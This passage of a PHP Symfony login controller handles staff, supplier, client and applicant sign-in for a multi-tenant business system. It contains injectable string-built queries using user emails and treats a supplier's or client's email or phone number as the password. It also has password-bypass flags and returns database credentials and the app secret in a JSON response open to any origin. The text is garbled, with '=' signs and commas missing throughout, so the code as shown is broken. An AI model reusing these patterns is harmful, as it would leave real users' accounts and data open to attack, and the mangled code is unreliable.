  1455.                                     //            ;
  1456.                                     $this->get('mailer')->send($emailmessage);
  1457.                                 }
  1458.                             }
  1459.                         }
  1460.                     }
  1461.                 } else {
  1462.                     $data = array();
  1463.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  1464.                         array(
  1465.                             'email' => $request->request->get('username')
  1466.                         )
  1467.                     );
  1468.                     if (!$user) {
  1469.                         $message "Wrong Email";
  1470.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1471.                             return new JsonResponse(array(
  1472.                                 'uid' => $session->get(UserConstants::USER_ID),
  1473.                                 'session' => $session,
  1474.                                 'success' => false,
  1475.                                 'errorStr' => $message,
  1476.                                 'session_data' => [],
  1477.                             ));
  1478.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1479.                             //                    return $response;
  1480.                         }
  1481.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1482.                             "message" => $message,
  1483.                             'page_title' => "Login",
  1484.                             'gocList' => $gocDataList,
  1485.                             'gocId' => $gocId
  1486.                         ));
  1487.                     }
  1488.                     if ($user) {
  1489.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  1490.                             $message "Sorry, Your Account is Deactivated";
  1491.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1492.                                 return new JsonResponse(array(
  1493.                                     'uid' => $session->get(UserConstants::USER_ID),
  1494.                                     'session' => $session,
  1495.                                     'success' => false,
  1496.                                     'errorStr' => $message,
  1497.                                     'session_data' => [],
  1498.                                 ));
  1499.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1500.                                 //                    return $response;
  1501.                             }
  1502.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1503.                                 "message" => $message,
  1504.                                 'page_title' => "Login",
  1505.                                 'gocList' => $gocDataList,
  1506.                                 'gocId' => $gocId
  1507.                             ));
  1508.                         }
  1509.                     }
  1510.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  1511.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  1512.                         $message "Wrong Email/Password";
  1513.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1514.                             return new JsonResponse(array(
  1515.                                 'uid' => $session->get(UserConstants::USER_ID),
  1516.                                 'session' => $session,
  1517.                                 'success' => false,
  1518.                                 'errorStr' => $message,
  1519.                                 'session_data' => [],
  1520.                             ));
  1521.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1522.                             //                    return $response;
  1523.                         }
  1524.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1525.                             "message" => $message,
  1526.                             'page_title' => "Login",
  1527.                             'gocList' => $gocDataList,
  1528.                             'gocId' => $gocId
  1529.                         ));
  1530.                     }
  1531.                 }
  1532.                 if ($user) {
  1533.                     //set cookie
  1534.                     if ($remember_me == 1)
  1535.                         $session->set('REMEMBERME'1);
  1536.                     else
  1537.                         $session->set('REMEMBERME'0);
  1538.                     $userType $user->getUserType();
  1539.                     // Entity User
  1540.                     $userId $user->getUserId();
  1541.                     $session->set(UserConstants::USER_ID$user->getUserId());
  1542.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  1543.                     $session->set('firstLogin'$firstLogin);
  1544.                     $session->set(UserConstants::USER_TYPE$userType);
  1545.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  1546.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  1547.                     $session->set('oAuthImage'$user->getOAuthImage());
  1548.                     $session->set(UserConstants::USER_NAME$user->getName());
  1549.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  1550.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  1551.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  1552.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  1553.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  1554.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  1555.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  1556.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  1557.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  1558.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  1559.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  1560.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  1561.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  1562.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  1563.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  1564.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  1565.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  1566.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  1567.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  1568.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  1569.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  1570.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  1571.                     $route_list_array = [];
  1572.                     //                    $loginID = $this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  1573.                     //                        $request->server->get("REMOTE_ADDR"), $PL[0]);
  1574.                     $loginID EntityUserM::addEntityUserLoginLog(
  1575.                         $em_goc,
  1576.                         $userId,
  1577.                         $request->server->get("REMOTE_ADDR"),
  1578.                         0,
  1579.                         $deviceId,
  1580.                         $oAuthData['token'],
  1581.                         $oAuthData['type']
  1582.                     );
  1583.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  1584.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  1585.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  1586.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  1587.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  1588.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  1589.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  1590.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  1591.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  1592.                     $appIdList json_decode($user->getUserAppIdList());
  1593.                     if ($appIdList == null)
  1594.                         $appIdList = [];
  1595.                     $companyIdListByAppId = [];
  1596.                     $companyNameListByAppId = [];
  1597.                     $companyImageListByAppId = [];
  1598.                     if (!in_array($user->getUserAppId(), $appIdList))
  1599.                         $appIdList[] = $user->getUserAppId();
  1600.                     foreach ($appIdList as $currAppId) {
  1601.                         if ($currAppId == $user->getUserAppId()) {
  1602.                             foreach ($company_id_list as $index_company => $company_id) {
  1603.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  1604.                                 $app_company_index $currAppId '_' $company_id;
  1605.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  1606.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  1607.                             }
  1608.                         } else {
  1609.                             $dataToConnect System::changeDoctrineManagerByAppId(
  1610.                                 $this->getDoctrine()->getManager('company_group'),
  1611.                                 $gocEnabled,
  1612.                                 $currAppId
  1613.                             );
  1614.                             if (!empty($dataToConnect)) {
  1615.                                 $connector $this->container->get('application_connector');
  1616.                                 $connector->resetConnection(
  1617.                                     'default',
  1618.                                     $dataToConnect['dbName'],
  1619.                                     $dataToConnect['dbUser'],
  1620.                                     $dataToConnect['dbPass'],
  1621.                                     $dataToConnect['dbHost'],
  1622.                                     $reset true
  1623.                                 );
  1624.                                 $em $this->getDoctrine()->getManager();
  1625.                                 $companyList Company::getCompanyListWithImage($em);
  1626.                                 foreach ($companyList as $c => $dta) {
  1627.                                     //                                $company_id_list[]=$c;
  1628.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  1629.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  1630.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  1631.                                     $app_company_index $currAppId '_' $c;
  1632.                                     $company_locale $companyList[$c]['locale'];
  1633.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  1634.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  1635.                                 }
  1636.                             }
  1637.                         }
  1638.                     }
  1639.                     $session->set('appIdList'$appIdList);
  1640.                     $session->set('companyIdListByAppId'$companyIdListByAppId);
  1641.                     $session->set('companyNameListByAppId'$companyNameListByAppId);
  1642.                     $session->set('companyImageListByAppId'$companyImageListByAppId);
  1643.                     $branchIdList json_decode($user->getUserBranchIdList());
  1644.                     $branchId $user->getUserBranchId();
  1645.                     $session->set('branchIdList'$branchIdList);
  1646.                     $session->set('branchId'$branchId);
  1647.                     if ($user->getAllModuleAccessFlag() == 1)
  1648.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  1649.                     else
  1650.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  1651.                     $session_data = array(
  1652.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  1653.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  1654.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  1655.                         'firstLogin' => $firstLogin,
  1656.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  1657.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  1658.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  1659.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  1660.                         'oAuthImage' => $session->get('oAuthImage'),
  1661.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  1662.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  1663.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  1664.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  1665.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  1666.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  1667.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  1668.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  1669.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  1670.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  1671.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  1672.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  1673.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  1674.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  1675.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  1676.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  1677.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  1678.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  1679.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  1680.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  1681.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  1682.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  1683.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  1684.                         //new
  1685.                         'appIdList' => $session->get('appIdList'),
  1686.                         'branchIdList' => $session->get('branchIdList'null),
  1687.                         'branchId' => $session->get('branchId'null),
  1688.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  1689.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  1690.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  1691.                     );
  1692.                     $session_data $this->filterClientSessionData($session_data);
  1693.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  1694.                     $token $tokenData['token'];
  1695.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1696.                         $session->set('remoteVerified'1);
  1697.                         $response = new JsonResponse(array(
  1698.                             'token' => $token,
  1699.                             'uid' => $session->get(UserConstants::USER_ID),
  1700.                             'session' => $session,
  1701.                             'success' => true,
  1702.                             'session_data' => $session_data,
  1703.                         ));
  1704.                         $response->headers->set('Access-Control-Allow-Origin''*');
  1705.                         return $response;
  1706.                     }
  1707.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  1708.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  1709.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  1710.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  1711.                                 $redPath parse_url($redPHP_URL_PATH);
  1712.                                 $redPath strtolower($redPath === false || $redPath === null $red $redPath);
  1713.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  1714.                                 // Never land the browser on a non-navigational endpoint (JSON/AJAX)
  1715.                                 // that was bounced to login pre-auth â€” e.g. the signature-status
  1716.                                 // probe the signature-setup modal fires on first load. Otherwise
  1717.                                 // first login dumps the user on /signature_status (raw JSON).
  1718.                                 if (strripos($redPath'/auth/') === false && strripos($redPath'undefined') === false
  1719.                                     && strripos($redPath'signature_status') === false && strripos($redPath'/api/') === false) {
  1720.                                     return $this->redirect($red);
  1721.                                 }
  1722.                             }
  1723.                         } else {
  1724.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  1725.                         }
  1726.                     } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  1727.                         return $this->redirectToRoute("dashboard");
  1728.                     else
  1729.                         return $this->redirectToRoute($user->getDefaultRoute());
  1730. //                    if ($request->server->has("HTTP_REFERER")) {
  1731. //                        if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  1732. //                            return $this->redirect($request->server->get('HTTP_REFERER'));
  1733. //                        }
  1734. //                    }
  1735. //
  1736. //                    //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  1737. //                    if ($request->request->has('referer_path')) {
  1738. //                        if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  1739. //                            return $this->redirect($request->request->get('referer_path'));
  1740. //                        }
  1741. //                    }
  1742.                     //                    if($request->request->has('gocId')
  1743.                 }
  1744.             } else {
  1745.                 if ($specialLogin == 1) {
  1746.                 } else if (strpos($uname'SID-') !== false) {
  1747.                     $specialLogin 1;
  1748.                     $userType UserConstants::USER_TYPE_SUPPLIER;
  1749.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  1750.                     //*** supplier id will be last 6 DIgits
  1751.                     $str_app_id_supplier_id substr($uname4);
  1752.                     //                if((1*$str_app_id_supplier_id)>1000000)
  1753.                     {
  1754.                         $supplierId = ($str_app_id_supplier_id) % 1000000;
  1755.                         $appIdFromUserName = ($str_app_id_supplier_id) / 1000000;
  1756.                     }
  1757.                     //                else
  1758.                     //                {
  1759.                     //                    $supplierId = (1 * $str_app_id_supplier_id) ;
  1760.                     //                    $appIdFromUserName = (1 * $str_app_id_supplier_id) / 1000000;
  1761.                     //                }
  1762.                 } else if (strpos($uname'CID-') !== false) {
  1763.                     $specialLogin 1;
  1764.                     $userType UserConstants::USER_TYPE_CLIENT;
  1765.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  1766.                     //*** supplier id will be last 6 DIgits
  1767.                     $str_app_id_client_id substr($uname4);
  1768.                     $clientId = ($str_app_id_client_id) % 1000000;
  1769.                     $appIdFromUserName = ($str_app_id_client_id) / 1000000;
  1770.                 } else if ($oAuthData || strpos($uname'APP-') !== false || $applicantDirectLogin == 1) {
  1771.                     $specialLogin 1;
  1772.                     $userType UserConstants::USER_TYPE_APPLICANT;
  1773.                     $isApplicantLogin 1;
  1774.                     if ($oAuthData) {
  1775.                         $email $oAuthData['email'];
  1776.                         $userName $email;
  1777. //                        $userName = explode('@', $email)[0];
  1778. //                        $userName = str_split($userName);
  1779. //                        $userNameArr = $userName;
  1780.                     } else if (strpos($uname'APP-') !== false) {
  1781.                         $email $uname;
  1782.                         $userName substr($email4);
  1783. //                        $userNameArr = str_split($userName);
  1784. //                        $generatedIdFromAscii = 0;
  1785. //                        foreach ($userNameArr as $item) {
  1786. //                            $generatedIdFromAscii += ord($item);
  1787. //                        }
  1788. //
  1789. //                        $str_app_id_client_id = $generatedIdFromAscii;
  1790. //                        $applicantId = (1 * $str_app_id_client_id) % 1000000;
  1791. //                        $appIdFromUserName = (1 * $str_app_id_client_id) / 1000000;
  1792.                     } else {
  1793.                         $email $uname;
  1794.                         $userName $uname;
  1795. //                            $userName = substr($email, 4);
  1796. //                        $userName = explode('@', $email)[0];
  1797. //                            $userNameArr = str_split($userName);
  1798.                     }
  1799.                 }
  1800.                 $data = array();
  1801.                 if ($hasGoc == 1) {
  1802.                     if ($gocId != && $gocId != "") {
  1803. //                        $gocId = $request->request->get('gocId');
  1804.                         $gocDbName $gocDataList[$gocId]['dbName'];
  1805.                         $gocDbUser $gocDataList[$gocId]['dbUser'];
  1806.                         $gocDbPass $gocDataList[$gocId]['dbPass'];
  1807.                         $gocDbHost $gocDataList[$gocId]['dbHost'];
  1808.                         $appIdFromUserName $gocDataList[$gocId]['appId'];
  1809.                         $connector $this->container->get('application_connector');
  1810.                         $connector->resetConnection(
  1811.                             'default',
  1812.                             $gocDataList[$gocId]['dbName'],
  1813.                             $gocDataList[$gocId]['dbUser'],
  1814.                             $gocDataList[$gocId]['dbPass'],
  1815.                             $gocDataList[$gocId]['dbHost'],
  1816.                             $reset true
  1817.                         );
  1818.                     } else if ($appId != && $appId != "") {
  1819.                         $gocId $request->request->get('gocId');
  1820.                         $gocDbName $gocDataListByAppId[$appId]['dbName'];
  1821.                         $gocDbUser $gocDataListByAppId[$appId]['dbUser'];
  1822.                         $gocDbPass $gocDataListByAppId[$appId]['dbPass'];
  1823.                         $gocDbHost $gocDataListByAppId[$appId]['dbHost'];
  1824.                         $gocId $gocDataListByAppId[$appId]['id'];
  1825.                         $appIdFromUserName $gocDataListByAppId[$appId]['appId'];
  1826.                         $connector $this->container->get('application_connector');
  1827.                         $connector->resetConnection(
  1828.                             'default',
  1829.                             $gocDbName,
  1830.                             $gocDbUser,
  1831.                             $gocDbPass,
  1832.                             $gocDbHost,
  1833.                             $reset true
  1834.                         );
  1835.                     }
  1836.                 } else if ($specialLogin == && $appIdFromUserName != 0) {
  1837.                     $gocId = isset($gocDataListByAppId[$appIdFromUserName]) ? $gocDataListByAppId[$appIdFromUserName]['id'] : 0;
  1838.                     if ($gocId != && $gocId != "") {
  1839.                         $gocDbName $gocDataListByAppId[$appIdFromUserName]['dbName'];
  1840.                         $gocDbUser $gocDataListByAppId[$appIdFromUserName]['dbUser'];
  1841.                         $gocDbPass $gocDataListByAppId[$appIdFromUserName]['dbPass'];
  1842.                         $gocDbHost $gocDataListByAppId[$appIdFromUserName]['dbHost'];
  1843.                         $connector $this->container->get('application_connector');
  1844.                         $connector->resetConnection(
  1845.                             'default',
  1846.                             $gocDataListByAppId[$appIdFromUserName]['dbName'],
  1847.                             $gocDataListByAppId[$appIdFromUserName]['dbUser'],
  1848.                             $gocDataListByAppId[$appIdFromUserName]['dbPass'],
  1849.                             $gocDataListByAppId[$appIdFromUserName]['dbHost'],
  1850.                             $reset true
  1851.                         );
  1852.                     }
  1853.                 }
  1854.                 $session $request->getSession();
  1855.                 $em $this->getDoctrine()->getManager();
  1856.                 //will work on later on supplier login
  1857.                 if ($specialLogin == 1) {
  1858.                     if ($supplierId != || $userType == UserConstants::USER_TYPE_SUPPLIER) {
  1859.                         //validate supplier
  1860.                         $supplier $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSuppliers')
  1861.                             ->findOneBy(
  1862.                                 array(
  1863.                                     'supplierId' => $supplierId
  1864.                                 )
  1865.                             );
  1866.                         if (!$supplier) {
  1867.                             $message "Wrong UserName";
  1868.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1869.                                 return new JsonResponse(array(
  1870.                                     'uid' => $session->get(UserConstants::USER_ID),
  1871.                                     'session' => $session,
  1872.                                     'success' => false,
  1873.                                     'errorStr' => $message,
  1874.                                     'session_data' => [],
  1875.                                 ));
  1876.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1877.                                 //                    return $response;
  1878.                             }
  1879.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1880.                                 "message" => $message,
  1881.                                 'page_title' => "Login",
  1882.                                 'gocList' => $gocDataList,
  1883.                                 'gocId' => $gocId
  1884.                             ));
  1885.                         }
  1886.                         if ($supplier) {
  1887.                             if ($supplier->getStatus() == GeneralConstant::INACTIVE) {
  1888.                                 $message "Sorry, Your Account is Deactivated";
  1889.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1890.                                     return new JsonResponse(array(
  1891.                                         'uid' => $session->get(UserConstants::USER_ID),
  1892.                                         'session' => $session,
  1893.                                         'success' => false,
  1894.                                         'errorStr' => $message,
  1895.                                         'session_data' => [],
  1896.                                     ));
  1897.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1898.                                     //                    return $response;
  1899.                                 }
  1900.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1901.                                     "message" => $message,
  1902.                                     'page_title' => "Login",
  1903.                                     'gocList' => $gocDataList,
  1904.                                     'gocId' => $gocId
  1905.                                 ));
  1906.                             }
  1907.                             if ($supplier->getEmail() == $request->request->get('password') || $supplier->getContactNumber() == $request->request->get('password')) {
  1908.                                 //pass ok proceed
  1909.                             } else {
  1910.                                 if ($skipPassword == 1) {
  1911.                                 } else {
  1912.                                     $message "Wrong Email/Password";
  1913.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1914.                                         return new JsonResponse(array(
  1915.                                             'uid' => $session->get(UserConstants::USER_ID),
  1916.                                             'session' => $session,
  1917.                                             'success' => false,
  1918.                                             'errorStr' => $message,
  1919.                                             'session_data' => [],
  1920.                                         ));
  1921.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1922.                                         //                    return $response;
  1923.                                     }
  1924.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1925.                                         "message" => $message,
  1926.                                         'page_title' => "Login",
  1927.                                         'gocList' => $gocDataList,
  1928.                                         'gocId' => $gocId
  1929.                                     ));
  1930.                                 }
  1931.                             }
  1932.                             $jd = [$supplier->getCompanyId()];
  1933.                             if ($jd != null && $jd != '' && $jd != [])
  1934.                                 $company_id_list $jd;
  1935.                             else
  1936.                                 $company_id_list = [1];
  1937.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  1938.                             foreach ($company_id_list as $c) {
  1939.                                 $company_name_list[$c] = $companyList[$c]['name'];
  1940.                                 $company_image_list[$c] = $companyList[$c]['image'];
  1941.                             }
  1942.                             $user $supplier;
  1943.                         }
  1944.                     } else if ($clientId != || $userType == UserConstants::USER_TYPE_CLIENT) {
  1945.                         //validate supplier
  1946.                         $client $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccClients')
  1947.                             ->findOneBy(
  1948.                                 array(
  1949.                                     'clientId' => $clientId
  1950.                                 )
  1951.                             );
  1952.                         if (!$client) {
  1953.                             $message "Wrong UserName";
  1954.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1955.                                 return new JsonResponse(array(
  1956.                                     'uid' => $session->get(UserConstants::USER_ID),
  1957.                                     'session' => $session,
  1958.                                     'success' => false,
  1959.                                     'errorStr' => $message,
  1960.                                     'session_data' => [],
  1961.                                 ));
  1962.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1963.                                 //                    return $response;
  1964.                             }
  1965.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1966.                                 "message" => $message,
  1967.                                 'page_title' => "Login",
  1968.                                 'gocList' => $gocDataList,
  1969.                                 'gocId' => $gocId
  1970.                             ));
  1971.                         }
  1972.                         if ($client) {
  1973.                             if ($client->getStatus() == GeneralConstant::INACTIVE) {
  1974.                                 $message "Sorry, Your Account is Deactivated";
  1975.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1976.                                     return new JsonResponse(array(
  1977.                                         'uid' => $session->get(UserConstants::USER_ID),
  1978.                                         'session' => $session,
  1979.                                         'success' => false,
  1980.                                         'errorStr' => $message,
  1981.                                         'session_data' => [],
  1982.                                     ));
  1983.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1984.                                     //                    return $response;
  1985.                                 }
  1986.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1987.                                     "message" => $message,
  1988.                                     'page_title' => "Login",
  1989.                                     'gocList' => $gocDataList,
  1990.                                     'gocId' => $gocId
  1991.                                 ));
  1992.                             }
  1993.                             if ($client->getEmail() == $request->request->get('password') || $client->getContactNumber() == $request->request->get('password')) {
  1994.                                 //pass ok proceed
  1995.                             } else {
  1996.                                 if ($skipPassword == 1) {
  1997.                                 } else {
  1998.                                     $message "Wrong Email/Password";
  1999.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2000.                                         return new JsonResponse(array(
  2001.                                             'uid' => $session->get(UserConstants::USER_ID),
  2002.                                             'session' => $session,
  2003.                                             'success' => false,
  2004.                                             'errorStr' => $message,
  2005.                                             'session_data' => [],
  2006.                                         ));
  2007.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2008.                                         //                    return $response;
  2009.                                     }
  2010.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2011.                                         "message" => $message,
  2012.                                         'page_title' => "Login",
  2013.                                         'gocList' => $gocDataList,
  2014.                                         'gocId' => $gocId
  2015.                                     ));
  2016.                                 }
  2017.                             }
  2018.                             $jd = [$client->getCompanyId()];
  2019.                             if ($jd != null && $jd != '' && $jd != [])
  2020.                                 $company_id_list $jd;
  2021.                             else
  2022.                                 $company_id_list = [1];
  2023.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2024.                             foreach ($company_id_list as $c) {
  2025.                                 $company_name_list[$c] = $companyList[$c]['name'];
  2026.                                 $company_image_list[$c] = $companyList[$c]['image'];
  2027.                             }
  2028.                             $user $client;
  2029.                         }
  2030.                     } else if ($applicantId != || $userType == UserConstants::USER_TYPE_APPLICANT) {
  2031.                         $em $this->getDoctrine()->getManager('company_group');
  2032.                         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  2033.                         if ($oAuthData) {
  2034.                             $oAuthEmail $oAuthData['email'];
  2035.                             $oAuthUniqueId $oAuthData['uniqueId'];
  2036.                             $user $applicantRepo->findOneBy(['oAuthEmail' => $oAuthEmail]);
  2037.                             if (!$user) {
  2038.                                 $usersQueried $em->getRepository(EntityApplicantDetails::class)->createQueryBuilder('A')
  2039.                                     ->where("1=1 and (A.email like '%," $oAuthData['email'] . "' or A.email like '" $oAuthData['email'] . ",%'
  2040.                                      or A.email like '%," $oAuthData['email'] . ",%' or A.email like '" $oAuthData['email'] . "' ) ")
  2041.                                     ->getQuery()
  2042.                                     ->getResult();
  2043.                                 if (!empty($usersQueried))
  2044.                                     $user $usersQueried[0];
  2045.                             }
  2046.                             if (!$user)
  2047.                                 $user $applicantRepo->findOneBy(['oAuthUniqueId' => $oAuthUniqueId]);
  2048.                         } else {
  2049.                             $user $applicantRepo->findOneBy(['username' => $userName]);
  2050.                             if (!$user)
  2051.                                 $user $applicantRepo->findOneBy(['oAuthEmail' => $email]);
  2052.                             if (!$user) {
  2053.                                 $usersQueried $em->getRepository(EntityApplicantDetails::class)->createQueryBuilder('A')
  2054.                                     ->where("A.email like '%$email%'")
  2055.                                     ->getQuery()
  2056.                                     ->getResult();
  2057.                                 if (!empty($usersQueried))
  2058.                                     $user $usersQueried[0];
  2059.                             }
  2060.                             if (!$user)
  2061.                                 $user $applicantRepo->findOneBy(['phone' => $email]);
  2062.                         }
  2063.                         $redirect_login_page_twig "@Authentication/pages/views/login_new.html.twig";
  2064. //                        if($systemType=='_BUDDYBEE_')
